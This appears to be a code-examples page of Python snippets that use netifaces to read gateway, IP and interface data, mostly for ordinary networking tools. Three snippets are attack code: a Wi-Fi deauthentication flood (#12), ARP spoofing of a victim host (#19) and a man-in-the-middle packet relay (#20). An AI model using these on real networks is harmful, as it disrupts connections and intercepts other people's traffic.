Beispiel #1
0
    def update(self):
        """Update IP stats using the input method.

        Stats is dict
        """
        # Reset stats
        self.reset()

        if self.input_method == 'local' and netifaces_tag:
            # Update stats using the netifaces lib
            try:
                default_gw = netifaces.gateways()['default'][netifaces.AF_INET]
            except (KeyError, AttributeError) as e:
                logger.debug("Cannot grab the default gateway ({0})".format(e))
            else:
                try:
                    self.stats['address'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['addr']
                    self.stats['mask'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['netmask']
                    self.stats['mask_cidr'] = self.ip_to_cidr(self.stats['mask'])
                    self.stats['gateway'] = netifaces.gateways()['default'][netifaces.AF_INET][0]
                except (KeyError, AttributeError) as e:
                    logger.debug("Cannot grab IP information: {0}".format(e))
        elif self.input_method == 'snmp':
            # Not implemented yet
            pass

        # Update the view
        self.update_views()

        return self.stats
Beispiel #2
0
def main():
    setup()

    bus = pydbus.SystemBus()

    pattern_include = re.compile("wlan*")
    pattern_exclude = re.compile("ScreenlyOSE-*")

    wireless_connections = filter(
        lambda c: not pattern_exclude.search(str(c['Id'])),
        filter(
            lambda c: pattern_include.search(str(c['Devices'])),
            get_active_connections(bus)
        )
    )

    # Displays the hotspot page
    if not path.isfile(HOME + INITIALIZED_FILE) and not gateways().get('default'):
        if wireless_connections is None or len(wireless_connections) == 0:
            url = 'http://{0}/hotspot'.format(LISTEN)
            load_browser(url=url)

    # Wait until the network is configured
    while not path.isfile(HOME + INITIALIZED_FILE) and not gateways().get('default'):
        if len(wireless_connections) == 0:
            sleep(1)
            wireless_connections = filter(
                lambda c: not pattern_exclude.search(str(c['Id'])),
                filter(
                    lambda c: pattern_include.search(str(c['Devices'])),
                    get_active_connections(bus)
                )
            )
            continue
        if wireless_connections is None:
            sleep(1)
            continue
        break

    wait_for_node_ip(5)

    url = 'http://{0}:{1}/splash_page'.format(LISTEN, PORT) if settings['show_splash'] else 'file://' + BLACK_PAGE
    browser_url(url=url)

    if settings['show_splash']:
        sleep(SPLASH_DELAY)

    global scheduler
    scheduler = Scheduler()

    subscriber = ZmqSubscriber()
    subscriber.daemon = True
    subscriber.start()

    # We don't want to show splash_page if there are active assets but all of them are not available
    view_image(HOME + LOAD_SCREEN)

    logging.debug('Entering infinite loop.')
    while True:
        asset_loop(scheduler)
Beispiel #3
0
    def update(self):
        """Update IP stats using the input method.

        Stats is dict
        """
        # Reset stats
        self.reset()

        if self.input_method == 'local' and netifaces_tag:
            # Update stats using the netifaces lib
            try:
                if not 'freebsd' in sys.platform:
                    default_gw = netifaces.gateways()['default'][netifaces.AF_INET]
                else:
                    raise KeyError, 'On FreeBSD, Calling gateways would segfault'
            except KeyError:
                logger.debug("Can not grab the default gateway")
            else:
                try:
                    self.stats['address'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['addr']
                    self.stats['mask'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['netmask']
                    self.stats['mask_cidr'] = self.ip_to_cidr(self.stats['mask'])
                    if not 'freebsd' in sys.platform:
                        self.stats['gateway'] = netifaces.gateways()['default'][netifaces.AF_INET][0]
                except KeyError as e:
                    logger.debug("Can not grab IP information (%s)".format(e))

        elif self.input_method == 'snmp':
            # Not implemented yet
            pass

        # Update the view
        self.update_views()

        return self.stats
    def __init__(self):
        # ----------------- NIC INFO -----------------
        self.os = platform.dist()[0]
        # If system is "debian":
        if self.os == 'debian':
            self.hostname = socket.gethostname()
            self.iface = ni.interfaces()[1]
            self.ipaddress = ni.ifaddresses(self.iface)[ni.AF_INET][0]['addr']
            self.subnet = ni.ifaddresses(self.iface)[ni.AF_INET][0]['netmask']
            self.gateways = ni.gateways()['default'][ni.AF_INET][0]
            # --- OS INFO ---------------------

            self.os_ver = platform.dist()[1]
            self.mac = ''.join('%012x' % get_mac())
            self.ip_data = get_ip()
            self.path_ip = '/etc/network/interfaces'
            self.dns_file = '/etc/resolv.conf'
        # If system is "Arch Linux":
        else:
            self.hostname = socket.gethostname()
            self.iface = ni.interfaces()[1]
            self.ipaddress = ni.ifaddresses(self.iface)[ni.AF_INET][0]['addr']
            self.subnet = ni.ifaddresses(self.iface)[ni.AF_INET][0]['netmask']
            self.gateways = ni.gateways()['default'][ni.AF_INET][0]
            # --- OS INFO ---------------------
            self.os_ver = platform.dist()[1]
            self.mac = ''.join('%012x' % get_mac())
            self.ip_data = get_ip()
            self.path_ip = '/etc/netctl/eth0'
            self.dns_file = '/etc/resolv.conf'
        logger.debug('GET IP SETTING OK!')
Beispiel #5
0
    def update(self):
        """Update IP stats using the input method.

        Stats is dict
        """
        # Init new stats
        stats = self.get_init_value()

        if self.input_method == 'local' and not import_error_tag:
            # Update stats using the netifaces lib
            try:
                default_gw = netifaces.gateways()['default'][netifaces.AF_INET]
            except (KeyError, AttributeError) as e:
                logger.debug("Cannot grab the default gateway ({})".format(e))
            else:
                try:
                    stats['address'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['addr']
                    stats['mask'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['netmask']
                    stats['mask_cidr'] = self.ip_to_cidr(stats['mask'])
                    stats['gateway'] = netifaces.gateways()['default'][netifaces.AF_INET][0]
                    stats['public_address'] = self.public_address
                except (KeyError, AttributeError) as e:
                    logger.debug("Cannot grab IP information: {}".format(e))
        elif self.input_method == 'snmp':
            # Not implemented yet
            pass

        # Update the stats
        self.stats = stats

        return self.stats
Beispiel #6
0
def get_network_buoy_info(interface):
    """Returns info about the network and buoy in the given net interface."""
    ret = {}
    n_info = netifaces.interfaces().get(interface)
    if n_info:
        """
        AF_LINK: {17: [{'broadcast': 'ff:ff:ff:ff:ff:ff',
                        'addr': 'a0:ce:c8:05:35:f9'}],
        AF_INET:  2: [{'broadcast': '10.172.203.255', 'netmask': '255.255.255.0',
                       'addr': '10.172.203.199'}],
        AF_INET6: 10: [{'netmask': 'ffff:ffff:ffff:ffff::',
                        'addr': 'fe80::a2ce:c8ff:fe05:35f9%eth1'}]}
        """
        # Get the addresses for the given interface
        ret['AF_INET'] = n_info.get(netifaces.AF_INET) # IPv4
        ret['AF_INET6'] = n_info.get(netifaces.AF_INET6) # IPv6
        ret['AF_LINK'] = n_info[netifaces.AF_LINK] # link layer interface
        """
        {2: [('10.0.1.1', 'en0', True), ('10.2.1.1', 'en1', False)],
         30: [('fe80::1', 'en0', True)],
         'default': { 2: ('10.0.1.1', 'en0'), 30: ('fe80::1', 'en0') }}
        """
        # Get the default gateways for IPv4 and IPv6
        ret['gateways'] = {}
        ret['gateways']['AF_INET'] = netifaces.gateways()['default'].get(
            netifaces.AF_INET)
        ret['gateways']['AF_INET6'] = netifaces.gateways()['default'].get(
            netifaces.AF_INET6)
    return ret
Beispiel #7
0
def _get_address():
    """
    Returns the address of some selected network gateway interface.

    """
    if netifaces.AF_INET not in netifaces.gateways():
        print('No network interfaces available')
        sys.exit()

    available_gateways = {}
    for i, (_, intf, _) in \
            enumerate(netifaces.gateways()[netifaces.AF_INET]):
        available_gateways[str(i)] = intf
    gateway = handle_console_input(available_gateways)
    address = netifaces.ifaddresses(gateway)[netifaces.AF_INET][0]['addr']

    """
    Why did i have to use the ifaddresses method? instead of just grabbing
    the address from the gateways()[2] tuple?
    this is returning 10.1.1.1, the location of the router.
    The gateways assigned address must be given by the ifaddresses function

    netifaces.gateways()
    - will only return the gateway/interface that is 'active(?)', so if both
    wlan0 and eth0 are plugged in, only one connection is used as a network
    connection , for example browsers will only connect through the single
    'active' gateway.

    """
    return address
Beispiel #8
0
 def get_interfaces():
     interfaces = {'activated':None,'all':[],'gateway':None,'IPaddress':None}
     interfaces['all'] = netifaces.interfaces()
     try:
         interfaces['gateway'] = netifaces.gateways()['default'][netifaces.AF_INET][0]
         interfaces['activated'] = netifaces.gateways()['default'][netifaces.AF_INET][1]
         interfaces['IPaddress'] = Refactor.get_Ipaddr(interfaces['activated'])
     except KeyError:
         print('Error: find network interface information ')
     return interfaces
Beispiel #9
0
def setNetworkInfo() :
    global dev
    global my_ip
    global my_mac
    global gateway_ip
    global gateway_mac

    dev = netifaces.gateways()['default'][netifaces.AF_INET][1]
    my_ip = netifaces.ifaddresses(dev)[2][0]['addr']
    my_mac = netifaces.ifaddresses(dev)[17][0]['addr']
    gateway_ip = netifaces.gateways()[2][0][0]
    gateway_mac = getBash("arp -a | grep \"("+gateway_ip+")\" | awk -F ' ' '{print $4}'")
Beispiel #10
0
def default_interface():
    """ Get default gateway interface.

    Some OSes return 127.0.0.1 when using
    socket.gethostbyname(socket.gethostname()),
    so we're attempting to get a kind of valid hostname here.
    """
    try:
        return netifaces.gateways()["default"][netifaces.AF_INET][1]
    except KeyError:
        # Sometimes 'default' is empty but AF_INET exists alongside it
        return netifaces.gateways()[netifaces.AF_INET][0][1]
Beispiel #11
0
 def log_message(self, format, *args):
     if len(args) < 3 or "200" not in args[1]:
         return
     try:
         request = pickle.load(open("pickle_data.txt","r"))
     except:
         request=OrderedDict()
     time_now = datetime.now()
     ts = time_now.strftime('%Y-%m-%d %H:%M:%S')
     iface=netifaces.gateways()['default'][netifaces.AF_INET][1]
     server = self.get_ip_address(iface)
     host=self.address_string()
     addr_pair = (host,server)
     if addr_pair not in request:
         request[addr_pair]=[1,ts]
     else:
         num = request[addr_pair][0]+1
         del request[addr_pair]
         request[addr_pair]=[num,ts]
     file=open("index.html", "w")
     file.write("<!DOCTYPE html> <html> <body><center><h1><font color=\"blue\" face=\"Georgia, Arial\" size=8><em>Real</em></font> Visit Results</h1></center>");
     for pair in request:
         if pair[0] == host:
             guest = "LOCAL: "+pair[0]
         else:
             guest = pair[0]
         if (time_now-datetime.strptime(request[pair][1],'%Y-%m-%d %H:%M:%S')).seconds < 3:
             file.write("<p style=\"font-size:150%\" >#"+ str(request[pair][1]) +": <font color=\"red\">"+str(request[pair][0])+ "</font> requests " + "from &lt<font color=\"blue\">"+guest+"</font>&gt to WebServer &lt<font color=\"blue\">"+pair[1]+"</font>&gt</p>")
         else:
             file.write("<p style=\"font-size:150%\" >#"+ str(request[pair][1]) +": <font color=\"maroon\">"+str(request[pair][0])+ "</font> requests " + "from &lt<font color=\"navy\">"+guest+"</font>&gt to WebServer &lt<font color=\"navy\">"+pair[1]+"</font>&gt</p>")
     file.write("</body> </html>");
     file.close()
     pickle.dump(request,open("pickle_data.txt","w"))
Beispiel #12
0
def main():

    # bssid = get_bssid(iface)



    # needs try / catch
    iface = netifaces.gateways()['default'][netifaces.AF_INET][1]
    conf.iface = iface

    local_mac = netifaces.ifaddresses(iface)[netifaces.AF_LINK][0]['addr']
    local_ip = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']
    print local_mac
    print local_ip

    bssid = get_bssid(iface)

    nm = nmap.PortScanner()
    nm_scan = nm.scan(hosts = '192.168.0.0/24', arguments='-sP')
    eligible_hosts = collect_eligible_hosts(nm_scan, local_ip, '192.168.0.1')
    display_eligible_hosts(eligible_hosts)
    user_choice = ask_user()
    enable_monitor_mode(iface)

    # client_to_deauth = eligible_hosts[2].mac_address
    while (True):
        for e in eligible_hosts:
            for n in range(20):
                sendp(RadioTap()/Dot11(type=0,subtype=12,addr1=test_client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7))
Beispiel #13
0
 def get_interfaces(self):
     '''
     Retrieve the interfaces of the VM
     '''
     interfaces = netifaces.interfaces()
     self.interfaces = []
     for interface in interfaces:
         if interface == 'lo':
             continue
         default_gw = ''
         gws = netifaces.gateways()
         #logging.debug("GATEWAY: "+str(gws))
         #logging.debug("GATEWAY: "+str(gws['default']))
         #logging.debug("GATEWAY: "+str(gws['default'][netifaces.AF_INET]))
         if gws['default'] == {}:
             default_gw = ''
         else:
             for gw in gws[netifaces.AF_INET]:
                 if gw[1] == interface:
                     default_gw = gw[0]
         interface_af_link_info = netifaces.ifaddresses(interface)[17]
         if 2 in netifaces.ifaddresses(interface):
             interface_af_inet_info = netifaces.ifaddresses(interface)[2]
             ipv4_address = interface_af_inet_info[0]['addr']
             netmask = interface_af_inet_info[0]['netmask']
         else:
             ipv4_address = ""
             netmask = ""
         self.interfaces.append(Interface(name = interface, status = None,
                   mac_address = interface_af_link_info[0]['addr'],
                   ipv4_address = ipv4_address,
                   netmask = netmask,
                   default_gw = default_gw))
Beispiel #14
0
def detect_active_interface(ignore_ifaces, default_interface):
    default_gateway = netifaces.gateways()['default']
    for af in (netifaces.AF_INET, netifaces.AF_INET6):
        _, interface = default_gateway.get(af, (None, None))
        if interface and interface not in ignore_ifaces:
            return interface
    return default_interface
def get_default_gateway():
    """Return ipaddress, interface pair for default gateway
    """
    gws = netifaces.gateways()
    if 'default' in gws:
        return gws['default'][netifaces.AF_INET]
    return None, None
Beispiel #16
0
 def find_active_ip_address():
     """Try to find the active IP addresses."""
     import netifaces
     # Interface of the default gateway
     gateway_itf = netifaces.gateways()['default'][netifaces.AF_INET][1]
     # IP address for the interface
     return netifaces.ifaddresses(gateway_itf)[netifaces.AF_INET][0]['addr']
Beispiel #17
0
def get_ip():
    """Get local ip address of the machine."""

    # Get the default gateway interface name
    interface = netifaces.gateways()['default'][netifaces.AF_INET][1]
    # Get the ip address of the machine for that interface
    return netifaces.ifaddresses(interface)[netifaces.AF_INET][0]['addr']
Beispiel #18
0
def default_ipv4():
    try:
        default_if = netifaces.gateways()['default'][netifaces.AF_INET][1]
        return netifaces.ifaddresses(default_if)[netifaces.AF_INET][0]['addr']
    except:
        traceback.print_exc()
    return None
def main():	
	gws=netifaces.gateways()
	gatewayip = gws['default'][netifaces.AF_INET][0]
	victimip = input("please enter victim IP:")

	victimmac = getMAC(victimip)
	gatewaymac = getMAC(gatewayip)
	
	if victimmac == None or gatewaymac == None:
		print('Could not find MAC Address')
		return
	
	print('+++ ARP Spoofing START -> VICTIM IP[%s]' %victimip)	
	print('[%s]:POISON ARP Table [%s] -> [%s]' %(victimip, gatewaymac, victimmac))	
	try:
		while True:
			p1 = IP(dst = gatewayip, src = victimip)/TCP(dport=80, sport=5000, flags='S')
			sr(p1)
			print ("Okay")

			poisonARP(gatewayip, victimip, victimmac)
			poisonARP(victimip, gatewayip, gatewaymac)
			
			
			seq = sys.stdin.readline()
			
			seq = int(seq[:-1])
			p2 = IP(dst = victimip, src = gatewayip)/TCP(dport=80, sport = 5000, flags='A',ack=seq+1, seq=1)
			sr(p2)
			
			sleep(1)
			
	except KeyboardInterrupt:  
		restoreARP(victimip, gatewayip, victimmac, gatewaymac)
		print('--- ARP Spoofing END -> RESTORED ARP Table')	
Beispiel #20
0
def ip_relay_callback(packet):
	ether_dst = packet.sprintf("%Ether.dst%")
	ether_src = packet.sprintf("%Ether.src%")
	ip_src = packet.sprintf("%IP.src%")
	ip_dst = packet.sprintf("%IP.dst%")
	if ARP in packet:
		arp_p = ARP_POISION()
		arp_p.send_poision()
	else:
	#packet[IP].chksum = ""
	#packet.show()
		ni.interfaces()
		gate_addr = ni.gateways()['default'][2][0]
		my_mac = ni.ifaddresses('eth0')[ni.AF_LINK][0]['addr']
		target_addr = sys.argv[1]
		if packet[IP].src == target_addr  :
			packet[Ether].dst=global_gate_mac
			packet[Ether].src=my_mac
			if packet.haslayer(UDP):
				del packet[UDP].chksum	
				del packet[UDP].len
			del packet.chksum
			del packet.len
			sendp(packet, verbose=False)
		elif packet[IP].dst == target_addr  :
			packet[Ether].dst=global_target_mac
			packet[Ether].src=my_mac
			if packet.haslayer(UDP):
				del packet[UDP].chksum	
				del packet[UDP].len
			del packet.chksum
			del packet.len
			sendp(packet, verbose=False)
	return 
Beispiel #21
0
def viewNetworkSettings():
	global screenMode,curIPEth0,curMskEth0,curMACEth0,curIPWlan0,curMskWlan0,curMACWlan0,curGWDefault,curDNS1,curDNS2,dnslist
	dnslist = []
	curIPEth0 = netifaces.ifaddresses('eth0').setdefault(netifaces.AF_INET,[{'addr':''}])[0]['addr']
	curMskEth0 = netifaces.ifaddresses('eth0').setdefault(netifaces.AF_INET,[{'netmask':''}])[0]['netmask']
	curMACEth0 = netifaces.ifaddresses('eth0').setdefault(netifaces.AF_LINK,[{'addr':''}])[0]['addr']
	try:
		curIPWlan0 = netifaces.ifaddresses('wlan0').setdefault(netifaces.AF_INET,[{'addr':''}])[0]['addr']
		curMskWlan0 = netifaces.ifaddresses('wlan0').setdefault(netifaces.AF_INET,[{'netmask':''}])[0]['netmask']
		curMACWlan0 = netifaces.ifaddresses('wlan0').setdefault(netifaces.AF_LINK,[{'addr':''}])[0]['addr']
	except:
		curIPWlan0 = ""
		curMskWlan0 = ""
		curMACWlan0 = ""
	gws = netifaces.gateways()
	try:
		curGWDefault = gws['default'][netifaces.AF_INET][0]
	except:
		curGWDefault = ""
	f = open("/etc/resolv.conf") 
	line = f.readline()
	while line:
		line = line.replace('nameserver','')
		line = line.replace(' ','')
		line = line.replace('\n','')
		if isIpAddr(line):
			dnslist.append(line)
		line = f.readline()
	f.close()
	screenMode = 4
Beispiel #22
0
    def __get_network_routes(self):
        """
        Gather routes from netifaces module
        """
        routes = []

        gws = netifaces.gateways()
        for k in gws.keys():
            if k == 'default':
                continue

	    for r in gws[k]:
                (ip,interface,is_gateway) = r

                gw_name = "{0}".format(netifaces.address_families[k])

                routes.append({
                       gw_name : {
                            'ip_address' : ip,
                            'interface'  : interface,
			    'default'    : is_gateway
                       }
                
                    }
                )

        return routes
Beispiel #23
0
def add_bridge(name, interface):
    network_configuration = UbuntuIntfMgmt()

    if check_interface(name):
        return
    data = get_int_config(interface)
    netmask = data[0]['netmask']
    addr = data[0]['addr']
    gateway = ni.gateways()
    gw = gateway['default'][ni.AF_INET][0]

    extra_params = network_configuration.extract_net_config(interface,
                                                            backup=True,
                                                            read_only=False)
    extra_params['inet_type'] = 'manual'
    extra_params['bridge_name'] = name
    extra_params = dict([(k, "".join(list(v))) for k, v in extra_params
                         .iteritems()])
    network_configuration._write_net_config_bridged_iface_br(interface,
                                                             **extra_params)

    extra_params = {'source_intf': interface, 'inet_type': 'static', }
    network_configuration._write_net_config_bridge(name, addr, netmask, gw,
                                                   **extra_params)

    restart_network_service(name, interface)
Beispiel #24
0
def guess_external_ip():
    gateways = netifaces.gateways()
    try:
        ifnet = gateways['default'][netifaces.AF_INET][1]
        return netifaces.ifaddresses(ifnet)[netifaces.AF_INET][0]['addr']
    except (KeyError, IndexError):
        return
Beispiel #25
0
def get_url_api():
	import netifaces
	from apize.decorators import apize_raw

	gateways = netifaces.gateways()
	fbx_ip = gateways['default'][netifaces.AF_INET][0]

	@apize_raw('http://' + fbx_ip + '/api_version')
	def get_api_config():
		return {}

	config = get_api_config()
	api_version = 'v' + config['data']['api_version'].split('.')[0]
	api_scheme = 'http://'
	api_port = ''

	if config['data']['https_available']:
		api_port = ':' + str(config['data']['https_port'])
		api_scheme = 'https://'

	api_url = '{}{}{}{}{}'.format(
		api_scheme,
		config['data']['api_domain'],
		api_port,
		config['data']['api_base_url'],
		api_version,
	)

	return api_url
Beispiel #26
0
def configure(protocol, port, pipes, interface):
  remove_all()
  reactor.addSystemEventTrigger('after', 'shutdown', remove_all)

  # gets default (outward-facing) network interface (e.g. deciding which of
  # eth0, eth1, wlan0 is being used by the system to connect to the internet)
  if interface == "auto":
    interface = netifaces.gateways()['default'][netifaces.AF_INET][1]
  else:
    if interface not in netifaces.interfaces():
      raise ValueError("Given interface does not exist.", interface)

  add(protocol, port, interface)
  manager = libnetfilter_queue.Manager()

  def on_up(packet):
    def accept():
      manager.set_verdict(packet, libnetfilter_queue.NF_ACCEPT)
    pipes.up.attempt(accept, packet.size)

  def on_down(packet):
    def accept():
      manager.set_verdict(packet, libnetfilter_queue.NF_ACCEPT)
    pipes.down.attempt(accept, packet.size)

  manager.bind(UP_QUEUE, on_up)
  manager.bind(DOWN_QUEUE, on_down)

  reader = abstract.FileDescriptor()
  reader.doRead = manager.process
  reader.fileno = lambda: manager.fileno
  reactor.addReader(reader)
Beispiel #27
0
def forwardPort(privatePort, publicPort, lifeTime, protocol):
	privatePort = checkInt(privatePort)
	publicPort = checkInt(publicPort)
	lifeTime = checkInt(lifeTime)

	if privatePort and publicPort and lifeTime:
		#udpPacket = struct.pack("!BBIIII", 0x0, 0x2, 0x0, 0x16, 0x16, 0x3C)
		protocol = 1 if protocol.lower() == "udp" else 2

		udpPacket = struct.pack("!BBIIII", 0x0, protocol, 0x0, privatePort, publicPort, lifeTime)
		gateway = netifaces.gateways()["default"]

		if netifaces.AF_INET in gateway:
			gateway = gateway[netifaces.AF_INET][0]
			sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
			sock.settimeout(10)
			try:
				sock.connect((gateway, 5351))

				sock.send(udpPacket)
				response = sock.recvfrom(16)
				sock.close

				resultArray = map(ord, response[0])
				for index in range(len(resultArray)):
					resultArray[index] = hex(resultArray[index])

				parseResult(resultArray)
			except socket.timeout:
				print "Could not connect to NAT-PMP on port 5351 (timed out after 10 seconds)"
		else:
			print "Not connected to a network!"

	else:
		print "Please input valid values"
Beispiel #28
0
def get_gateway_addr():
    """Use netifaces to get the gateway address, if we can't import it then
       fall back to a hack to obtain the current gateway automatically, since
       Python has no interface to sysctl().

       This may or may not be the gateway we should be contacting.
       It does not guarantee correct results.

       This function requires the presence of netstat on the path on POSIX
    and NT.
    """
    try:
        import netifaces
        return netifaces.gateways()["default"][netifaces.AF_INET][0]
    except ImportError:
        shell_command = 'netstat -rn'
        if os.name == "posix":
            pattern = \
                re.compile('(?:default|0\.0\.0\.0|::/0)\s+([\w\.:]+)\s+.*UG')
        elif os.name == "nt":
            if platform.version().startswith("6.1"):
                pattern = re.compile(".*?0.0.0.0[ ]+0.0.0.0[ ]+(.*?)[ ]+?.*?\n")
            else:
                pattern = re.compile(".*?Default Gateway:[ ]+(.*?)\n")
        system_out = os.popen(shell_command, 'r').read()
        if not system_out:
            raise NATPMPNetworkError(NATPMP_GATEWAY_CANNOT_FIND,
                                     error_str(NATPMP_GATEWAY_CANNOT_FIND))
        match = pattern.search(system_out)
        if not match:
            raise NATPMPNetworkError(NATPMP_GATEWAY_CANNOT_FIND,
                                     error_str(NATPMP_GATEWAY_CANNOT_FIND))
        addr = match.groups()[0].strip()
        return addr
Beispiel #29
0
def main():
    setup()

    if not path.isfile(HOME + INITIALIZED_FILE) and not gateways().get('default'):
        url = 'http://{0}/hotspot'.format(LISTEN)
        load_browser(url=url)

        while not path.isfile(HOME + INITIALIZED_FILE):
            sleep(1)

    url = 'http://{0}:{1}/splash_page'.format(LISTEN, PORT) if settings['show_splash'] else 'file://' + BLACK_PAGE
    browser_url(url=url)

    if settings['show_splash']:
        sleep(SPLASH_DELAY)

    global scheduler
    scheduler = Scheduler()

    subscriber = ZmqSubscriber()
    subscriber.daemon = True
    subscriber.start()

    # We don't want to show splash_page if there are active assets but all of them are not available
    view_image(HOME + LOAD_SCREEN)

    logging.debug('Entering infinite loop.')
    while True:
        asset_loop(scheduler)
 def get_interfaces(self):
     '''
     Retrieve the interfaces of the VM
     '''
     interfaces = netifaces.interfaces()
     self.interfaces = []
     for interface in interfaces:
         if interface == 'lo':
             continue
         default_gw = ''
         configuration_type = None
         gws = netifaces.gateways()
         if gws['default'] != {} and gws['default'][netifaces.AF_INET][1] == interface:
             default_gw = gws['default'][netifaces.AF_INET][0]
         interface_af_link_info = netifaces.ifaddresses(interface)[17]
         if 2 in netifaces.ifaddresses(interface):
             interface_af_inet_info = netifaces.ifaddresses(interface)[2]
             ipv4_address = interface_af_inet_info[0]['addr']
             netmask = interface_af_inet_info[0]['netmask']
         else:
             ipv4_address = ""
             netmask = ""
         if interface == constants.configuration_interface:
             _type = 'config'
             configuration_type = 'dhcp'
         else:
             _type = 'not_defined'
         self.interfaces.append(Interface(name = interface, status = None, 
                   mac_address = interface_af_link_info[0]['addr'],
                   ipv4_address = ipv4_address,
                   netmask = netmask,
                   default_gw = default_gw,
                   _type = _type,
                   configuration_type = configuration_type))
Beispiel #31
0
    def default_network_adapter(cls):
        """Return default active network adapter"""
        gateway = netifaces.gateways()["default"]

        return gateway[netifaces.AF_INET][1]
Beispiel #32
0
    def __init__(self, sa_group, sa_controller_url, sa_iface, secret, timeout):
        self.logger = logging.getLogger('SecAppWrapper.SAWrapper')
        self.logger.info("[INIT] Initiating new Wrapper Instance")
        self.group = sa_group
        self.controller_url = sa_controller_url
        self.ready = False
        self.instance_id = None
        self.token = None
        Wrapper.secret = secret
        Wrapper.reg_timeout = timeout * 60
        if sa_iface == "default":
            self.iface = netifaces.gateways()['default'][netifaces.AF_INET][1]
        else:
            self.iface = sa_iface
        self.iface_mac = netifaces.ifaddresses('{0}'.format(self.iface))[netifaces.AF_LINK][0][
            'addr']
        self.logger.info("[INIT] Aquired HW_ADDR for interface %s: %s", self.iface, self.iface_mac)
        self.logger.info("[INIT] Sending Register Request to Controller... %s", self.iface_mac)
        connected = False
        # { "type": "REGISTER", "group": "sa_group", "hw_addr": "mac-address", "token":
        # "secureToken", "misc": "misc info" }
        data = {'type': ApiURI.Type.REGISTER.name, 'group': self.group, 'hw_addr': self.iface_mac,
                'misc': '', 'exp': int(time.time() + 5 * 60)}
        reg_token = jwt.encode(data, Wrapper.secret, algorithm='HS256')
        reg_token_j = {"token": reg_token.decode("utf-8")}
        json_data = json.dumps(reg_token_j)
        while not connected:
            conn = Request(self.controller_url + ApiURI.Type.REGISTER.value,
                           json_data.encode("utf-8"), {'Content-Type': 'application/json'})
            try:
                resp = urlopen(conn)
                if resp.getcode() == 200:
                    self.logger.info("[INIT] Connection successful")
                    resp_data = json.loads(resp.read().decode("utf-8"))
                    payload = jwt.decode(resp_data["token"], Wrapper.secret, algorithms=['HS256'])
                    self.instance_id = payload['instance_id']
                    self.token = resp_data["token"]
                    connected = True
                    self.ready = True
                    self.logger.info(
                        "[INIT] Wrapper Instance registered with Instance ID: %s", self.instance_id)
                elif resp.getcode() == 208:
                    # HTTP Code 208: Already Reported.
                    # Here: Already registered
                    self.logger.info("[INIT] Instance already registered. Carry on!")
                    resp_data = json.loads(resp.read().decode("utf-8"))
                    payload = jwt.decode(resp_data["token"], Wrapper.secret, algorithms=['HS256'])
                    self.instance_id = payload['instance_id']
                    self.token = resp_data["token"]
                    connected = True
                    self.ready = True
                    resp.close()
                else:
                    self.logger.warning("[INIT] Connection failed. Retrying...")
            except urllib.error.URLError as error:
                print(str(error))

        # Connection Established, Wrapper Instance registered. Start Keep-Alive messages to keep
        # registration
        if self.ready:
            self.logger.info("[INIT] Wrapper Instance is ready!")
Beispiel #33
0
def get_host_ip():
    gws = ni.gateways()
    interface = gws["default"][ni.AF_INET][1]
    return ni.ifaddresses(interface)[ni.AF_INET][0]["addr"]
Beispiel #34
0
from selenium import webdriver
import time
import socket
import netifaces

# wifi Auto login
if __name__ == '__main__':

    username = open("username", "r").read().replace('\n', '')  # Enter Your Wifi Username
    password = open("password", "r").read().replace('\n', '')  # Enter Your Wifi password

	router_ip = netifaces.gateways()['default'][netifaces.AF_INET][0]

	url = 'http://' + router_ip + ':1000/login?'
    # url = 'http://192.168.191.254:1000/login?'  # Wifi Login URL
    # url = 'http://192.168.20.254:1000/login?'  # Wifi Login URL

    # for Safari
    driver = webdriver.Safari()
    # driver = webdriver.Chrome('your_path')

    # URL with token examples
    # http://192.168.20.254:1000/keepalive?0f0d0d060f2b8310
    # http://192.168.20.254:1000/login?01674a0b0f9b0ef5
    # http://192.168.20.254:1000/keepalive?f5fdf2f9fef0fcf6
    # http://192.168.20.254:1000/login?0068450a96e49fa4
    # http://192.168.20.254:1000/logout?f0fcf4fef9f5f9f7

    driver.get(url)
    time.sleep(0.2)
    try:
Beispiel #35
0
def get_gateway_ip():
    import netifaces
    return netifaces.gateways()['default'][netifaces.AF_INET][0]
Beispiel #36
0
        # Set server local ip
        #SERVER_LOCAL_IP=$(ip addr show $IFACE_TYPE | grep "inet" | grep -v "inet6" | awk '{print $2}' | cut -d '/' -f 1)
        SERVER_LOCAL_IP = nif.ifaddresses(
            MY_VARS['IFACE_TYPE'])[nif.AF_INET][0]['addr']
        MY_VARS['SERVER_LOCAL_IP'] = read_input("Local ip address",
                                                SERVER_LOCAL_IP)

        # Set server public ip
        #SERVER_PUBLIC_IP=$(curl -s https://api.ipify.org)
        SERVER_PUBLIC_IP = get('https://api.ipify.org').text
        MY_VARS['SERVER_PUBLIC_IP'] = read_input("Public ip address",
                                                 SERVER_PUBLIC_IP)

        # Set gateway ip
        #GATEWAY_IP=$( netstat -nr | head -3 | tail -1 | awk '{print $2}' )
        GATEWAY_IP = nif.gateways()['default'][nif.AF_INET][0]
        MY_VARS['GATEWAY_IP'] = read_input("Gateway(router) ip address",
                                           GATEWAY_IP)

        # Set LAN ip
        #LAN_IP=$( netstat -nr | tail -1 | awk '{print $1}' )
        LAN_IP = MY_VARS['GATEWAY_IP']
        LAN_IP_PARTS = LAN_IP.split('.')
        LAN_IP_PARTS[-1] = '0'
        LAN_IP = '.'.join(LAN_IP_PARTS)
        MY_VARS['LAN_IP'] = read_input("Local subnet ip address", LAN_IP)

        ## Setup user variables
        print("\nA few more to go . . .")
        print("Press enter to keep the default choice.\n")
Beispiel #37
0
    def selectDepotserver(self,
                          configService,
                          mode="mount",
                          event=None,
                          productIds=[],
                          masterOnly=False):  # pylint: disable=dangerous-default-value,too-many-arguments,too-many-locals,too-many-branches,too-many-statements,redefined-builtin
        assert mode in ("mount", "sync")
        productIds = forceProductIdList(productIds)

        logger.notice("Selecting depot for products %s", productIds)
        logger.notice("MasterOnly --> '%s'", masterOnly)

        if event and event.eventConfig.useCachedProducts:
            cacheDepotDir = os.path.join(
                self.get('cache_service', 'storage_dir'),
                'depot').replace('\\', '/').replace('//', '/')
